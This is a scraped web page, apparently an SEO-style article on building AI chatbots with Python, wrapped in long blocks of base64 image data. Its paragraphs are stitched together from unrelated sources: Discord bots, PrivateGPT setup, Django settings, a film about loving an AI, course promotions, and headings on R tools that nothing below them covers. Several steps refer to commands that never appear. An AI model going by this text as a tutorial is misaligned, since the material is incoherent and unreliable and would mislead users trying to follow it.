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" width="308px" alt="ai chat bot python"/></p>
<p><p>The guide is meant for general users, and the instructions are clearly explained with examples. So even if you have a cursory knowledge of computers, you can easily create your own AI chatbot. You can build a ChatGPT chatbot on any platform, whether Windows, macOS, Linux, or ChromeOS. In this article, I am using Windows 11, but the steps are nearly identical for other platforms. In order to program our simple ChatBot with omniscience (infinite knowledge), we will do Google searches within the Python API.</p>
</p>
<p><h2>Create searchable Bluesky bookmarks with R</h2>
</p>
<p><p>I am simply using this to do a quick little count to check how many guilds/servers the bot is connected to and some data about the guilds/servers. Now that the bot has entered the server, we can finally get into coding a basic bot. Before we get into coding a Discord bot’s version of “Hello World,” we need to set up a few other things first. There are several libraries out there to access Discord’s API, each with their own traits, but ultimately, they all achieve the same thing. Since we are focusing on Python, discord.py is probably the most popular wrapper. This tutorial will get you started on how to create your own Discord bot using Python.</p>
</p>
<p><p>Gaimar and Gloria Azimbe shared their aspirations for future applications of AI in pharma and finance, while Areeb Salsabil shared his work in AI tool development, including a resume modifier chatbot. Despite having a functional system, you can make significant improvements depending on the technology used to implement it, both software and hardware. However, it can provide a decent service to a limited number of users, ranging largely depending on the available resources. Finally, it should be noted that achieving the performance of real systems like ChatGPT is complicated, since the model size and hardware required to support it is particularly expensive.</p>
</p>
<p><h2>How to run R in Visual Studio Code</h2>
</p>
<p><p>We will implement a chatbot from scratch that will be able to understand what the user is talking about and give an appropriate response. You can also turn off the internet, but the private AI chatbot will still work since everything is being done locally. PrivateGPT does not have a web interface yet, so you will have to use it in the command-line interface for now. Also, it currently does not take advantage of the GPU, which is a bummer.</p>
</p>
<p><p>Chatbots are computer programs designed to  simulate or emulate human interactions through artificial intelligence. You can converse  with chatbots the same way you would have a conversation with another person. They are used for various purposes, including customer service, information services, and entertainment, just to name a few.</p>
</p>
<p><h2>Open-Source Platform For Human-AI Teaming Playground</h2>
</p>
<p><p>At a glance, the list includes Python, Pip, the OpenAI and Gradio libraries, an OpenAI API key, and a code editor, perhaps something like Notepad++. It represents a model architecture blending features of both retrieval-based and generation-based approaches in natural language processing (NLP). In addition, a views function will be executed to launch the main server thread. Meanwhile, in settings.py, the only thing to change is the DEBUG parameter to False and enter the necessary permissions of the hosts allowed to connect to the server. By learning Django and incorporating AI, you’ll develop a well-rounded skill set for building complex, interactive websites and web services. These are sought-after skills in tech jobs ranging from full-stack development to data engineering, roles that rely heavily on the ability to build and manage web applications effectively.</p>
</p>
<p><p>A tool can be things like web browsing, a calculator, a Python interpreter, or anything else that expands the capabilities of a chatbot [1]. Before diving into the example code, I want to briefly differentiate an AI chatbot from an assistant. While these terms are often used interchangeably, here, I use them to mean different things. Before diving into the script, you must first set the environment variable containing your API key. Visual Studio Code (VS Code) is a good option that meets all your requirements here.</p>
</p>
<p><h3>How to Build an AI Chatbot with Python and Gemini API &#8211; hackernoon.com</h3>
<p>How to Build an AI Chatbot with Python and Gemini API.</p>
<p>Posted: Mon, 10 Jun 2024 07:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiggFBVV95cUxNVGZtUXpRVl9sNmFFS1ctR0RWUEFpY21PUjh0U3V2VG9QNmM1bl9aOC1TOEVfQ2NubS0xdDk4b1JqZFRfcjdXNlNLOWZUVEplaGVpdkU5ZV92NFlrdGtDTHNKSHlPOHVKeHZKVVZHNE0wcjlEaDhjcThiMVNwLXdnQl9n?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>With Python skills, you can code effectively and utilize machine learning and automation to optimize processes and improve decision-making. Without a doubt, one of the most exciting courses in this bundle focuses on creating an AI bot with Tkinter and Python. This is where learners can get hands-on experience building graphical user interfaces (GUIs) that interact with ChatGPT’s powerful language model. Chatterbot combines a spoken language data database with an artificial intelligence system to generate a response.</p>
</p>
<p><p>Once GPU support is introduced, the performance will get much better. Finally, to load up the PrivateGPT AI chatbot, simply run python privateGPT.py if you have not added new documents to the source folder. Once you are in the folder, run the below command, and it will start installing all the packages and dependencies. It might take 10 to 15 minutes to complete the process, so please keep patience. If you get any error, run the below command again and make sure Visual Studio is correctly installed along with the two components mentioned above.</p>
</p>
<ul>
<li>Today we are going to build a Python 3 ChatBot API and web interface.</li>
<li>Following the course’s conclusion, you will have developed a fully functioning chatbot that can be deployed to your Facebook page to interact with customers through Messenger in real-time.</li>
<li>Whether you’re on Windows, macOS, Linux, or ChromeOS, the procedure of building an AI chatbot is more or less the same.</li>
<li>After that, set the file name app.py and change the “Save as type” to “All types”.</li>
</ul>
<p><p>Regarding the hardware employed, it will depend to a large extent on how the service is oriented and how far we want to go. One way to establish communication would be to use Sockets and similar tools at a lower level, allowing exhaustive control of the whole protocol. However, this option would require meeting the compatibility constraints described above with all client technologies, as the system will need to be able to collect queries from all available client types. Therefore, the purpose of this article is to show how we can design, implement, and deploy a computing system for supporting a ChatGPT-like service. What sets this bundle apart is its project-based approach to learning. Projects like creating an interactive ChatGPT app or a dynamic website will help you gain technical skills and real-world experience.</p>
</p>
<p><h2>ChatGPT tools for R programming</h2>
</p>
<p><p>The basic premise of the film is that a man who suffers from loneliness, depression, a boring job, and an impending divorce, ends up falling in love with an AI (artificial intelligence) on his computer’s operating system. Maybe at the time this was a very science-fictiony concept, given that AI back then wasn’t advanced enough to become a surrogate human, but now? I fear that people will give up on finding love (or even social interaction) among humans and seek it out in the digital realm. I won’t tell you what it means, but just search up the definition of the term waifu and just cringe. Using the RAG technique, we can give pre-trained LLMs access to very specific information as additional context when answering our questions. The Flask is a Python micro-framework used to create small web applications and websites using Python.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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